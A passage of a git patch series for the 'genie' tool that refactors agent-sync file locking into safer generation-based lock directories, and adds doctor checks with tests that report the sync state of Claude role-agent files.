+ } catch { + return { status: 'corrupt' }; + } +} + +function regularFileDigest(path: string): string | null { + const stat = lstatSafe(path); + if (stat === null || !stat.isFile() || stat.isSymbolicLink()) return null; + try { + return hashFile(path); + } catch { + return null; + } +} + +interface PhysicalRegularFileIdentity { + kind: 'regular'; + mode: number; + digest: string; +} + +type PhysicalFileIdentity = | { kind: 'absent' } | PhysicalRegularFileIdentity | { kind: 'directory'; mode: number } @@ -3703,6 +5013,7 @@ function syncClaude(ctx: RunContext, report: AgentReport): void { if (!existsSync(claudeDir)) return; report.detected = true; syncSkillDirsInto(ctx, 'claude', join(claudeDir, 'skills'), report, CLAUDE_EXCLUDED_SKILLS); + syncClaudeAgentFiles(ctx, claudeDir, report); stampClaudeWorkflow(ctx, claudeDir, report); } @@ -3934,9 +5245,9 @@ function detectHermesBinary(opts: AgentSyncOptions): string | null { * live. Stealing is serialized by another token-owned lock. Any other lock I/O * failure fails closed; a destructive sync never runs without ownership. */ -function acquireSyncLock(lockPath: string): { release: () => void } | { skipped: string } { +function acquireFileLock(lockPath: string): { release: () => void } | { skipped: string } { for (let attempt = 0; attempt < 3; attempt += 1) { - const created = tryInitializeSyncLock(lockPath); + const created = tryInitializeFileLock(lockPath); if (created.status === 'acquired') return created.lock; if (created.status === 'failed') return { skipped: created.reason }; const stat = statSafe(lockPath); @@ -3945,7 +5256,7 @@ function acquireSyncLock(lockPath: string): { release: () => void } | { skipped: // Age alone never proves abandonment. A slow or clock-skewed live owner // retains the lock regardless of whether its timestamp is old or future. if (lockHasLiveOwner(lockPath)) return heldLockSkip(); - if (stealStaleLock(lockPath) === 'contended') return heldLockSkip(); + if (stealStaleFileLock(lockPath) === 'contended') return heldLockSkip(); // stale debris cleared — loop and retry the exclusive create } return { skipped: 'agent-sync lock remained contended after retries; skipped safely' }; @@ -3956,7 +5267,7 @@ type LockCreateAttempt = | { status: 'exists' } | { status: 'failed'; reason: string }; -function tryInitializeSyncLock(lockPath: string): LockCreateAttempt { +function tryInitializeFileLock(lockPath: string): LockCreateAttempt { let fd: number; const token = randomBytes(16).toString('hex'); const processIdentity = processStartIdentity(process.pid) ?? 'unknown'; @@ -4012,8 +5323,13 @@ function isStaleOrInvalidLockTime(mtimeMs: number, nowMs = Date.now()): boolean * `host` is absent (→ null) for any record written before this field existed or * by the shell installer; a null host is treated as "unknown host" downstream. */ -function lockOwner(lockPath: string): { pid: number; processIdentity: string | null; host: string | null } | null { - const raw = readTrimmed(lockPath); +interface LockOwner { + pid: number; + processIdentity: string | null; + host: string | null; +} + +function parseLockOwner(raw: string | null): LockOwner | null { const match = raw?.match(/^(\d+)(?::[a-f0-9]{32})?(?::([a-f0-9]{64}|unknown))?(?::([a-f0-9]{64}))?$/); if (!match) return null; const pid = Number(match[1]); @@ -4022,6 +5338,10 @@ function lockOwner(lockPath: string): { pid: number; processIdentity: string | n : null; } +function lockOwner(lockPath: string): LockOwner | null { + return parseLockOwner(readTrimmed(lockPath)); +} + /** * Never steal a live lock. Beyond PID-reuse rejection via the process-start * identity, a recorded HOST identity that DIFFERS from this host is treated as a @@ -4046,7 +5366,10 @@ function lockOwner(lockPath: string): { pid: number; processIdentity: string | n * with the shell. */ function lockHasLiveOwner(lockPath: string): boolean { - const owner = lockOwner(lockPath); + return lockOwnerIsLive(lockOwner(lockPath)); +} + +function lockOwnerIsLive(owner: LockOwner | null): boolean { if (owner === null) return false; // empty / unparseable record is genuine dead-writer debris if (owner.host !== null && owner.host !== currentSyncLockHostId()) return true; // host-bearing + cross-host → never steal try { @@ -4175,7 +5498,7 @@ export function acquireLifecycleLease(genieHome = resolveGenieHome()): Lifecycle }, }; } - const acquired = acquireSyncLock(path); + const acquired = acquireFileLock(path); if ('skipped' in acquired) return acquired; const releaseOnExit = () => acquired.release(); process.once('exit', releaseOnExit); @@ -4237,9 +5560,9 @@ export function acquireLifecycleLease(genieHome = resolveGenieHome()): Lifecycle * still let two acquirers proceed as concurrent owners. This is pre-existing * in the TS path; the shell matches it at parity rather than widening it. */ -function stealStaleLock(lockPath: string): 'cleared' | 'contended' { +function stealStaleFileLock(lockPath: string): 'cleared' | 'contended' { const guardPath = `${lockPath}.steal`; - const guardAttempt = tryInitializeSyncLock(guardPath); + const guardAttempt = tryInitializeFileLock(guardPath); if (guardAttempt.status !== 'acquired') { // lstat (never follow): a symlinked or otherwise non-regular guard is never // ours to reap — refuse it, matching the shell's `! -L` guard, so neither @@ -4265,6 +5588,304 @@ function stealStaleLock(lockPath: string): 'cleared' | 'contended' { } } +// ============================================================================ +// Generation-safe shared agent mutation lock +// ============================================================================ + +/** + * Acquire the per-GENIE_HOME sync lock via O_EXCL create. Returns a release + * handle, or null when another live sync holds the lock (the caller must skip). + * An out-of-window lock is stealable only when its host/PID/start record is not + * live. It is captured via {@link stealStaleAgentLock}, then exclusive create + * is retried. Any acquisition failure other than contention fails closed with + * an {@link AgentSyncLockError}; protected mutation never proceeds unlocked. + */ +function acquireAgentMutationLock(lockPath: string, options: AgentSyncLockOptions): { release: () => void } | null { + for (let attempt = 0; attempt < 3; attempt += 1) { + const owned = createOwnedLockDirectory(lockPath, options); + if (owned !== null) { + return { release: () => releaseOwnedSyncLock(lockPath, owned, options, 'release') }; + } + const observed = inspectLockObject(lockPath); + if (observed === null) continue; // holder released between exclusive-create and inspection + if (!isStaleOrInvalidLockTime(observed.stat.mtimeMs)) return null; + if (observed.kind === 'foreign') return null; + if (observed.kind === 'legacy-file') { + // Upgrade compatibility retains the current dev lock protocol's + // cross-host/PID liveness rule. A generation lock is self-identifying by + // its owner pathname, while a legacy file carries this record in bytes. + if (lockHasLiveOwner(lockPath)) return null; + if (stealLegacyStaleLock(lockPath, observed, options) === 'contended') return null; + continue; + } + if (lockOwnerIsLive(parseLockOwner(observed.token.trim()))) return null; + if (stealStaleAgentLock(lockPath, observed, options) === 'contended') return null; + // stale owner token was removed; retry the atomic generation publish + } + return null; // lost the steal race to another process whose lock is now fresh +} + +interface OwnedLockDirectory { + kind: 'owned-directory'; + ownerName: string; + ownerPath: string; + stat: Stats; + token: string; +} + +interface LegacyLockFile { + kind: 'legacy-file'; + stat: Stats; + bytes: Buffer; +} + +interface ForeignLockObject { + kind: 'foreign'; + stat: Stats; +} + +/** Publish one non-empty lock generation atomically; existing objects are contention. */ +function createOwnedLockDirectory(lockPath: string, options: AgentSyncLockOptions): OwnedLockDirectory | null { + let stageDir: string; + try { + stageDir = mkdtempSync(`${lockPath}.stage-`); + } catch (error) { + throw new AgentSyncLockError( + `could not acquire agent-sync lock; acquisition failed closed for ${lockPath}: ${errMsg(error)}`, + error, + ); + } + const token = `${process.pid}:${randomBytes(16).toString('hex')}:${ + processStartIdentity(process.pid) ?? 'unknown' + }:${currentSyncLockHostId()}\n`; + const ownerName = `owner-${hashBytes(Buffer.from(token)).slice(0, 32)}`; + const stagedOwnerPath = join(stageDir, ownerName); + try { + writeExclusiveFile(stagedOwnerPath, Buffer.from(token)); + } catch (error) { + removeEmptyDirSafe(stageDir); + throw new AgentSyncLockError( + `agent-sync lock initialization failed closed for ${lockPath}: ${errMsg(error)}`, + error, + ); + } + const stagedStat = lstatSync(stagedOwnerPath); + try { + options.beforePublish?.({ path: lockPath }); + renameSync(stageDir, lockPath); + } catch (error) { + unlinkExactOwnedLockFile(stagedOwnerPath, stagedStat, token); + removeEmptyDirSafe(stageDir); + if (lstatSafe(lockPath) !== null) return null; + throw new AgentSyncLockError(`agent-sync lock publish failed closed for ${lockPath}: ${errMsg(error)}`, error); + } + const ownerPath = join(lockPath, ownerName); + const current = inspectOwnedLockFile(ownerPath); + if (current === null || !sameOwnedLock(stagedStat, token, current)) { + throw new AgentSyncLockError(`agent-sync lock ownership could not be verified for ${lockPath}`); + } + return { kind: 'owned-directory', ownerName, ownerPath, stat: current.stat, token }; +} + +function inspectLockObject(lockPath: string): OwnedLockDirectory | LegacyLockFile | ForeignLockObject | null { + try { + const stat = lstatSync(lockPath); + if (stat.isFile() && !stat.isSymbolicLink() && stat.nlink === 1) { + const bytes = readFileSync(lockPath); + const after = lstatSync(lockPath); + if (!samePathIdentity(stat, after)) throw new AgentSyncLockError('legacy agent-sync lock changed while reading'); + return { kind: 'legacy-file', stat: after, bytes }; + } + if (!stat.isDirectory() || stat.isSymbolicLink()) return { kind: 'foreign', stat }; + const owners = readdirSync(lockPath).filter((name) => name.startsWith('owner-')); + if (owners.length !== 1 || readdirSync(lockPath).length !== 1) return { kind: 'foreign', stat }; + const ownerName = owners[0] as string; + const ownerPath = join(lockPath, ownerName); + const owner = inspectOwnedLockFile(ownerPath); + if (owner === null) throw new AgentSyncLockError(`agent-sync lock owner disappeared at ${ownerPath}`); + return { kind: 'owned-directory', ownerName, ownerPath, stat: owner.stat, token: owner.token }; + } catch (error) { + if (isNodeErrorCode(error, 'ENOENT')) return null; + if (error instanceof AgentSyncLockError) throw error; + throw new AgentSyncLockError(`agent-sync lock inspection failed closed for ${lockPath}: ${errMsg(error)}`, error); + } +} + +function inspectOwnedLockFile(ownerPath: string): { stat: Stats; token: string } | null { + try { + const before = lstatSync(ownerPath); + if (!before.isFile() || before.isSymbolicLink() || before.nlink !== 1) return null; + const token = readFileSync(ownerPath, 'utf8'); + const after = lstatSync(ownerPath); + if (!samePathIdentity(before, after)) return null; + return { stat: after, token }; + } catch (error) { + if (isNodeErrorCode(error, 'ENOENT')) return null; + throw error; + } +} + +/** Acquire the same per-GENIE_HOME mutation lock used by sync and uninstall. */ +export function acquireAgentSyncLock( + genieHome: string, + options: AgentSyncLockOptions = {}, +): { release: () => void } | null { + return acquireAgentMutationLock(join(genieHome, AGENT_SYNC_LOCK_NAME), options); +} + +/** + * Clear a stale lock safely under a `.steal` guard file. The previous + * unlink-then-retry steal let two processes both "win": between one stealer's + * unlink and its re-create, a second stealer's unlink silently removed the + * first's FRESH lock (observed as two concurrent writers in the regression + * test). The guard closes that hole with two properties: (a) the O_EXCL guard + * admits exactly one stealer at a time, and (b) the lock's staleness is + * RE-verified while holding the guard, so a fresh lock created after the + * caller's first observation is never removed. A guard left by a crashed + * stealer ages out via {@link LOCK_STALE_MS} like the lock itself. + */ +function stealStaleAgentLock( + lockPath: string, + observed: OwnedLockDirectory, + options: AgentSyncLockOptions, +): 'cleared' | 'contended' { + if (!unlinkExactOwnedLockFile(observed.ownerPath, observed.stat, observed.token, options, 'stale-remove')) { + return 'contended'; + } + return removeEmptyLockGeneration(lockPath) ? 'cleared' : 'contended'; +} + +/** Upgrade-safe stale removal for the regular-file lock format shipped before generation directories. */ +function stealLegacyStaleLock( + lockPath: string, + observed: LegacyLockFile, + options: AgentSyncLockOptions, +): 'cleared' | 'contended' { + const guard = acquireLegacyStealGuard(lockPath); + if (guard === null) return 'contended'; + try { + const current = inspectLegacyLockFile(lockPath); + if (current === null) return 'cleared'; + if ( + !samePathIdentity(observed.stat, current.stat) || + !observed.bytes.equals(current.bytes) || + !isStaleOrInvalidLockTime(current.stat.mtimeMs) || + lockHasLiveOwner(lockPath) + ) { + return 'contended'; + } + const captured = capturePath(lockPath, 'legacy-lock-stale'); + if (captured === null) return 'cleared'; + options.afterCapture?.({ operation: 'stale-remove', path: lockPath, capturedPath: captured.path }); + const capturedState = inspectLegacyLockFile(captured.path); + if ( + capturedState === null || + !samePathIdentity(observed.stat, capturedState.stat) || + !observed.bytes.equals(capturedState.bytes) + ) { + restoreOrPreserveCaptured(captured, lockPath); + return 'contended'; + } + removeCapturedPath(captured); + return 'cleared'; + } finally { + guard.release(); + } +} + +/** Preserve the current file-lock guard protocol while upgrading the payload capture to a pathname CAS. */ +function acquireLegacyStealGuard(lockPath: string): { release: () => void } | null { + const guardPath = `${lockPath}.steal`; + const attempt = tryInitializeFileLock(guardPath); + if (attempt.status === 'acquired') return attempt.lock; + if (attempt.status === 'exists') { + const guardStat = lstatSafe(guardPath); + if (guardStat?.isFile() && isStaleOrInvalidLockTime(guardStat.mtimeMs) && !lockHasLiveOwner(guardPath)) { + rmSyncSafe(guardPath); + } + } + return null; +} + +function inspectLegacyLockFile(path: string): LegacyLockFile | null { + try { + const before = lstatSync(path); + if (!before.isFile() || before.isSymbolicLink() || before.nlink !== 1) return null; + const bytes = readFileSync(path); + const after = lstatSync(path); + if (!samePathIdentity(before, after)) return null; + return { kind: 'legacy-file', stat: after, bytes }; + } catch (error) { + if (isNodeErrorCode(error, 'ENOENT')) return null; + throw error; + } +} + +/** The token pathname is the ownership CAS; a replacement generation has a different owner name. */ +function releaseOwnedSyncLock( + lockPath: string, + expected: OwnedLockDirectory, + options: AgentSyncLockOptions, + operation: AgentSyncLockMutationEvent['operation'], +): void { + try { + if (!unlinkExactOwnedLockFile(expected.ownerPath, expected.stat, expected.token, options, operation)) return; + removeEmptyLockGeneration(lockPath); + } catch { + // Release is best-effort but fail-closed: any unverified object remains preserved. + } +} + +function unlinkExactOwnedLockFile( + ownerPath: string, + expectedStat: Stats, + expectedToken: string, + options: AgentSyncLockOptions = {}, + operation: AgentSyncLockMutationEvent['operation'] = 'release', +): boolean { + const lockPath = dirname(ownerPath); + let quarantineDir: string; + try { + quarantineDir = mkdtempSync(join(lockPath, '.owner-quarantine-')); + } catch (error) { + if (isNodeErrorCode(error, 'ENOENT') || isNodeErrorCode(error, 'ENOTDIR')) return false; + throw error; + } + const capturedPath = join(quarantineDir, 'object'); + try { + renameSync(ownerPath, capturedPath); + } catch (error) { + removeEmptyDirSafe(quarantineDir); + if (isNodeErrorCode(error, 'ENOENT')) return false; + throw error; + } + options.afterCapture?.({ operation, path: lockPath, capturedPath }); + const current = inspectOwnedLockFile(capturedPath); + if (current === null || !sameOwnedLock(expectedStat, expectedToken, current)) { + restoreCapturedPathNoReplace(capturedPath, ownerPath); + removeEmptyDirSafe(quarantineDir); + return false; + } + unlinkSync(capturedPath); + removeEmptyDirSafe(quarantineDir); + return true; +} + +function removeEmptyLockGeneration(lockPath: string): boolean { + try { + rmdirSync(lockPath); + return true; + } catch (error) { + if (isNodeErrorCode(error, 'ENOENT')) return true; + if (isNodeErrorCode(error, 'ENOTEMPTY') || isNodeErrorCode(error, 'EEXIST')) return false; + throw error; + } +} + +function sameOwnedLock(expectedStat: Stats, expectedToken: string, current: { stat: Stats; token: string }): boolean { + return samePathIdentity(expectedStat, current.stat) && expectedToken === current.token; +} + // ============================================================================ // Orchestration // ============================================================================ @@ -4290,10 +5911,18 @@ export function runAgentSync(opts: AgentSyncOptions = {}): AgentSyncReport { log('agent-sync: no genie plugin source found (looked for plugins/genie); skipping'); return { source, agents: [], backupsDir: null }; } - const lock = acquireSyncLock(join(genieHome, LOCK_NAME)); - if ('skipped' in lock) { - log(`agent-sync: ${lock.skipped}`); - return { source, agents: [], backupsDir: null, skipped: lock.skipped }; + let lock: { release: () => void } | null; + try { + lock = acquireAgentSyncLock(genieHome, opts.lockOptions); + } catch (error) { + const skipped = `agent-sync lock acquisition failed closed: ${errMsg(error)}`; + log(`agent-sync: ${skipped}`); + return { source, agents: [], backupsDir: null, skipped }; + } + if (lock === null) { + const skipped = 'another agent-sync run holds the lock; skipped (the holder converges the same targets)'; + log(`agent-sync: ${skipped}`); + return { source, agents: [], backupsDir: null, skipped }; } try { const ctx = createRunContext(genieHome, source.pluginRoot, source, opts); @@ -4326,19 +5955,27 @@ function createRunContext( }; const stamp = now().toISOString().replace(/[:.]/g, '-'); let backupsDir: string | null = null; - const backupInto = (agent: string, name: string, existingDir: string): string => { + const backupDest = (agent: string, name: string): string => { if (backupsDir === null) { // Uninstall removes GENIE_HOME. Recovery material therefore lives in a // sibling root so a later uninstall cannot erase the only surviving copy. - const recoveryRoot = join(dirname(resolve(genieHome)), '.genie-recovery'); - const base = join(recoveryRoot, `agent-sync-${stamp}-${process.pid}`); - backupsDir = base; - for (let suffix = 1; existsSync(backupsDir); suffix += 1) backupsDir = `${base}-${suffix}`; - mkdirSync(backupsDir, { recursive: true }); + backupsDir = allocateExclusiveBackupRootAt( + join(dirname(resolve(genieHome)), '.genie-recovery'), + `agent-sync-${stamp}-${process.pid}`, + ); } const dest = join(backupsDir, agent, name); mkdirSync(dirname(dest), { recursive: true }); - cpSync(existingDir, dest, { recursive: true }); + return dest; + }; + const backupInto = (agent: string, name: string, existingDir: string): string => { + const dest = backupDest(agent, name); + copyPathExclusive(existingDir, dest); + return dest; + }; + const backupBytes = (agent: string, name: string, bytes: Buffer): string => { + const dest = backupDest(agent, name); + writeExclusiveFile(dest, bytes); return dest; }; return { @@ -4349,14 +5986,55 @@ function createRunContext( now, targets, backupInto, + backupBytes, backupsDirIfCreated: () => backupsDir, renameManagedDir: opts.renameManagedDir ?? renameSync, beforeManagedDirPromotion: opts.beforeManagedDirPromotion, beforeManagedDirPublish: opts.beforeManagedDirPublish, beforeManagedDirRemoval: opts.beforeManagedDirRemoval, + beforeAgentFileMutation: opts.beforeAgentFileMutation, + beforeAgentManifestCommit: opts.beforeAgentManifestCommit, }; } +/** + * Allocate a durable backup attempt root without opening or replacing any + * existing artifact. Timestamp collisions simply advance to a fresh suffix. + */ +export function allocateExclusiveBackupRoot(genieHome: string, baseName: string): string { + return allocateExclusiveBackupRootAt(join(genieHome, 'state-backups'), baseName); +} + +function allocateExclusiveBackupRootAt(parent: string, baseName: string): string { + mkdirSync(parent, { recursive: true, mode: 0o700 }); + const parentStat = lstatSync(parent); + if (!parentStat.isDirectory() || parentStat.isSymbolicLink()) { + throw new Error(`unsafe backup root path: ${parent}`); + } + for (let collision = 0; collision < 10_000; collision += 1) { + const candidate = collision === 0 ? join(parent, baseName) : join(parent, `${baseName}-${collision}`); + try { + mkdirSync(candidate, { mode: 0o700 }); + return candidate; + } catch (error) { + if (isNodeErrorCode(error, 'EEXIST')) continue; + throw error; + } + } + throw new Error(`could not allocate backup root for ${baseName}`); +} + +/** Copy to a path that must not already exist; links and regular collisions are never followed or overwritten. */ +function copyPathExclusive(source: string, destination: string): void { + try { + lstatSync(destination); + throw new Error(`backup destination already exists: ${destination}`); + } catch (error) { + if (!isNodeErrorCode(error, 'ENOENT')) throw error; + } + cpSync(source, destination, { recursive: true, force: false, errorOnExist: true }); +} + /** * Run one adapter against a report this function owns, so a late throw (e.g. in * removeManagedOrphans, after writes already landed on disk) keeps whatever the @@ -4465,14 +6143,6 @@ function quarantineTransactionDebris(parent: string, path: string): void { renameSync(path, destination); } -function removeEmptyDirSafe(path: string): void { - try { - if (readdirSync(path).length === 0) rmSync(path, { recursive: true, force: true }); - } catch { - // Already absent, non-directory, or concurrently populated: leave it fail-safe. - } -} - function lstatSafe(path: string): Stats | null { try { return lstatSync(path); @@ -4518,3 +6188,7 @@ function readTrimmed(path: string): string | null { function errMsg(err: unknown): string { return err instanceof Error ? err.message : String(err); } + +function isNodeErrorCode(error: unknown, code: string): boolean { + return typeof error === 'object' && error !== null && 'code' in error && error.code === code; +} From 3ffc3300da0fac3b45a2b7f81fe01867f72a8a56 Mon Sep 17 00:00:00 2001 From: namastex888 Date: Sun, 12 Jul 2026 15:35:50 -0300 Subject: [PATCH 02/20] feat(doctor): role-agent delivery truth-telling + duplicate-surface warning Group B (doctor-duplicate-guard) of routing-delivery-fix. Per-file classifier over source-union-manifest names inside checkClaudeSync (genie-managed-current / genie-managed-stale / present-unmanaged / missing-from-target; user-authored agents never reported), enabledPlugins duplicate-surface warning, and a stable machine-readable roleAgents payload on doctor --json for the dashboard. Reuses Group A's enumeration + fail-closed manifest inspection (additive exports only). Independent execution review: SHIP (2026-07-12). 43 doctor tests pass; bun run check 976 pass / 1 skip / 0 fail. --- .genie/wishes/routing-delivery-fix/WISH.md | 33 +++- src/genie-commands/doctor.test.ts | 203 ++++++++++++++++++++- src/genie-commands/doctor.ts | 193 +++++++++++++++++++- src/lib/agent-sync.ts | 38 +++- 4 files changed, 456 insertions(+), 11 deletions(-) diff --git a/.genie/wishes/routing-delivery-fix/WISH.md b/.genie/wishes/routing-delivery-fix/WISH.md index 7065e7ef5..051807b5c 100644 --- a/.genie/wishes/routing-delivery-fix/WISH.md +++ b/.genie/wishes/routing-delivery-fix/WISH.md @@ -2,14 +2,14 @@ | Field | Value | |-------|-------| -| **Status** | IN PROGRESS — Group A **SHIP** (attempt 4, Fable-tier architecture-first repair, independent review 2026-07-12); Group B dispatched; Group C post-release user-gated | +| **Status** | IN_PROGRESS — Groups A+B **SHIP** (2026-07-12); awaiting PR/release, then Group C day-3 QA (user-gated live ritual) | | **Slug** | `routing-delivery-fix` | | **Date** | 2026-07-11 | | **Author** | Felipe + team-lead session (rebaseline wish 1) | | **Appetite** | small | | **Branch** | `wish/routing-delivery-fix` | | **Repos touched** | genie | -| **Design** | [DESIGN.md](../../brainstorms/token-efficiency-rebaseline/DESIGN.md) | +| **Design** | _No brainstorm — direct wish_ | ## Summary @@ -226,9 +226,12 @@ test -s "$(ls -t /Users/feliperosa/workspace/genie/.genie/wishes/routing-matrix/ ## Dependencies -- **blocks:** `work-on-workflows` (rebaseline wish 3 — sequenced after Fix per the ratified order; - no mechanical dependency). -- `genie-spend` (rebaseline wish 2) is independent and may run in parallel. +**depends-on:** none +**blocks:** none + +Scheduling note: the future `work-on-workflows` rebaseline is sequenced after this fix per the ratified +order, but has no canonical wish slug and therefore is not a machine dependency. `genie-spend` +(rebaseline wish 2) is independent and may run in parallel. ## QA Criteria @@ -377,6 +380,26 @@ Gates re-run independently from a script file: 106 focused pass / 0 fail; `bun r Budget closed: `attempts=4/4` (SHIP on 4); `effort_escalations=1/2`. +### Execution review — Group B `doctor-duplicate-guard` (2026-07-12): **SHIP** + +- **Engineer pass (engineer-standard, pinned tier, attempt 1):** per-file classifier inside + `checkClaudeSync()` over the union of source ∪ manifest names (user-authored agents structurally + never reported); duplicate-surface warning on strict `enabledPlugins["genie@automagik"] === true`; + machine-readable `roleAgents` rider on the existing `doctor --json` check entry (`manifestStatus`, + name-sorted `files[{name, state}]`, `duplicateSurface`, `manifestReason` when unsafe) with the four + state names documented as a stability contract. Reuses Group A's `enumerateSourceAgentFiles` and + fail-closed `inspectAgentFilesManifest` (additive exports only — transaction core untouched). +- **Independent review, loop 0: SHIP** — all three acceptance criteria verified test-pinned, + including the false-PASS discriminator (hand-copy-only host → `present-unmanaged` + warn, asserted + positively AND negatively); classifier semantics coherent across user-edit / outdated-version / + vanished-source / never-synced / fresh-host / unsafe-manifest edges; agent-sync delta confirmed + behaviorally inert; messaging coherent with `checkMarketplacePlugin`. Gates re-run independently: + 43 doctor tests, 106 Group A regression tests, `bun run check` 976 pass / 1 skip / 0 fail, + `git diff --check` clean. Both declared open items judged acceptable. +- **LOW advisories (non-blocking):** no dedicated human-detail line for `manifestStatus:'foreign'`; + two finer stale branches and the malformed-settings.json probe path handled in code but unpinned + by tests. + --- ## Files to Create/Modify diff --git a/src/genie-commands/doctor.test.ts b/src/genie-commands/doctor.test.ts index b65b868e8..ec1c1df0c 100644 --- a/src/genie-commands/doctor.test.ts +++ b/src/genie-commands/doctor.test.ts @@ -16,7 +16,7 @@ import { } from 'node:fs'; import { tmpdir } from 'node:os'; import { dirname, join } from 'node:path'; -import { computeDirDigest } from '../lib/agent-sync.js'; +import { computeDirDigest, computeFileDigest } from '../lib/agent-sync.js'; import { reconcileCodexProjectMcp, resolveGitProjectRoots } from '../lib/codex-project-mcp.js'; import { CANONICAL_GENIE_SKILL_NAMES } from '../lib/runtime-integrations.js'; import { @@ -1202,3 +1202,204 @@ describe('checkAgentSync', () => { expect(find(results, 'agent sync: hermes skills')?.status).toBe('pass'); }); }); + +// ============================================================================ +// Claude role-agent delivery (wish routing-delivery-fix, Group B) — per-file +// classifier over the Group-A `~/.claude/agents/.genie-sync.json` manifest. +// Read-only, all paths injected via checkAgentSync — the real $HOME is untouched. +// ============================================================================ + +describe('checkAgentSync — claude role agents', () => { + const ROLE_CHECK = 'agent sync: claude role agents'; + const DUP_CHECK = 'agent sync: duplicate role-agent surface'; + + let tmp: string; + let genieHome: string; + let pluginRoot: string; + let claudeDir: string; + let agentsDir: string; + + function paths() { + return { + genieHome, + claudeDir, + codexDir: join(tmp, 'codex'), + agentsSkillsDir: join(tmp, 'agents', 'skills'), + hermesHome: join(tmp, 'hermes'), + settingsPath: join(claudeDir, 'settings.json'), + }; + } + + const find = (results: ReturnType, name: string) => results.find((r) => r.name === name); + + /** name → state map off the machine-readable rider (what `--json` carries). */ + function stateMap(check: ReturnType[number] | undefined): Record { + const files = check?.roleAgents?.files ?? []; + return Object.fromEntries(files.map((f) => [f.name, f.state])); + } + + function writeSourceAgent(name: string, body: string): void { + mkdirSync(join(pluginRoot, 'agents'), { recursive: true }); + writeFileSync(join(pluginRoot, 'agents', `${name}.md`), body, 'utf8'); + } + + function writeTargetAgent(name: string, body: string): void { + mkdirSync(agentsDir, { recursive: true }); + writeFileSync(join(agentsDir, `${name}.md`), body, 'utf8'); + } + + /** Stamp the shared dir-level agent manifest (Group A shape: filename → digest entry). */ + function writeAgentManifest(files: Record): void { + mkdirSync(agentsDir, { recursive: true }); + const entries = Object.fromEntries( + Object.entries(files).map(([name, e]) => [ + name, + { digest: e.digest, version: e.version ?? '1', syncedAt: e.syncedAt ?? '2026-01-01T00:00:00.000Z' }, + ]), + ); + writeFileSync( + join(agentsDir, '.genie-sync.json'), + JSON.stringify({ managedBy: 'genie-agent-sync', files: entries }), + 'utf8', + ); + } + + function writeSettings(value: unknown): void { + mkdirSync(claudeDir, { recursive: true }); + writeFileSync(join(claudeDir, 'settings.json'), JSON.stringify(value), 'utf8'); + } + + beforeEach(() => { + tmp = mkdtempSync(join(tmpdir(), 'doctor-roleagents-')); + genieHome = join(tmp, 'genie'); + pluginRoot = join(genieHome, 'plugins', 'genie'); + claudeDir = join(tmp, 'claude'); + agentsDir = join(claudeDir, 'agents'); + mkdirSync(pluginRoot, { recursive: true }); + mkdirSync(claudeDir, { recursive: true }); // claude "detected" so role-agent checks run + writeFileSync(join(genieHome, 'VERSION'), '5.0.0\n', 'utf8'); + }); + + afterEach(() => { + rmSync(tmp, { recursive: true, force: true }); + }); + + test('hand-copy (no manifest) reports present-unmanaged, NOT healthy genie-managed', () => { + // The 2026-07-11 false-PASS discriminator: files present + agents surface, + // but no stamp → doctor must NOT call it genie-managed-current. + writeSourceAgent('scout', '# scout\n'); + writeTargetAgent('scout', '# scout\n'); + + const check = find(checkAgentSync(paths()), ROLE_CHECK); + expect(check?.status).toBe('warn'); + expect(check?.detail).toContain('present-unmanaged'); // human output carries the state + expect(check?.roleAgents?.manifestStatus).toBe('absent'); + expect(stateMap(check)['scout.md']).toBe('present-unmanaged'); + expect(stateMap(check)['scout.md']).not.toBe('genie-managed-current'); + }); + + test('stamped + byte-matching target reports genie-managed-current → pass', () => { + writeSourceAgent('scout', '# scout\n'); + writeTargetAgent('scout', '# scout\n'); + writeAgentManifest({ 'scout.md': { digest: computeFileDigest(join(agentsDir, 'scout.md')) } }); + + const check = find(checkAgentSync(paths()), ROLE_CHECK); + expect(check?.status).toBe('pass'); + expect(check?.roleAgents?.manifestStatus).toBe('managed'); + expect(stateMap(check)['scout.md']).toBe('genie-managed-current'); + }); + + test('source drifted past a stamped target reports genie-managed-stale → warn', () => { + writeTargetAgent('scout', '# scout v1\n'); + const v1Digest = computeFileDigest(join(agentsDir, 'scout.md')); + writeAgentManifest({ 'scout.md': { digest: v1Digest } }); // on-disk == manifest + writeSourceAgent('scout', '# scout v2\n'); // but source moved on + + const check = find(checkAgentSync(paths()), ROLE_CHECK); + expect(check?.status).toBe('warn'); + expect(check?.suggestion).toContain('genie update'); + expect(stateMap(check)['scout.md']).toBe('genie-managed-stale'); + }); + + test('source agent absent from the target reports missing-from-target → warn', () => { + writeSourceAgent('fixer', '# fixer\n'); // no target file, no manifest entry + + const check = find(checkAgentSync(paths()), ROLE_CHECK); + expect(check?.status).toBe('warn'); + expect(stateMap(check)['fixer.md']).toBe('missing-from-target'); + }); + + test('a user-authored agent (not in source, unmanaged) is never reported', () => { + writeSourceAgent('scout', '# scout\n'); + writeTargetAgent('scout', '# scout\n'); + writeAgentManifest({ 'scout.md': { digest: computeFileDigest(join(agentsDir, 'scout.md')) } }); + writeTargetAgent('my-own-agent', '# mine\n'); // genie does not speak for it + + const check = find(checkAgentSync(paths()), ROLE_CHECK); + const states = stateMap(check); + expect(states['my-own-agent.md']).toBeUndefined(); + expect(states['scout.md']).toBe('genie-managed-current'); + expect(check?.status).toBe('pass'); + }); + + test('an unsafe (symlinked) manifest warns instead of silently reporting healthy', () => { + writeSourceAgent('scout', '# scout\n'); + writeTargetAgent('scout', '# scout\n'); + symlinkSync(join(tmp, 'elsewhere.json'), join(agentsDir, '.genie-sync.json')); + + const check = find(checkAgentSync(paths()), ROLE_CHECK); + expect(check?.status).toBe('warn'); + expect(check?.roleAgents?.manifestStatus).toBe('unsafe'); + expect(check?.detail).toContain('manifest unusable'); + }); + + test('plugin enabled → duplicate-surface warning + duplicateSurface flag true', () => { + writeSourceAgent('scout', '# scout\n'); + writeTargetAgent('scout', '# scout\n'); + writeAgentManifest({ 'scout.md': { digest: computeFileDigest(join(agentsDir, 'scout.md')) } }); + writeSettings({ enabledPlugins: { 'genie@automagik': true } }); + + const results = checkAgentSync(paths()); + const dup = find(results, DUP_CHECK); + expect(dup?.status).toBe('warn'); + expect(dup?.detail).toContain('both surface'); + expect(find(results, ROLE_CHECK)?.roleAgents?.duplicateSurface).toBe(true); + }); + + test('plugin disabled or absent → no duplicate warning, duplicateSurface flag false', () => { + writeSourceAgent('scout', '# scout\n'); + writeTargetAgent('scout', '# scout\n'); + writeAgentManifest({ 'scout.md': { digest: computeFileDigest(join(agentsDir, 'scout.md')) } }); + + writeSettings({ enabledPlugins: { 'genie@automagik': false } }); + let results = checkAgentSync(paths()); + 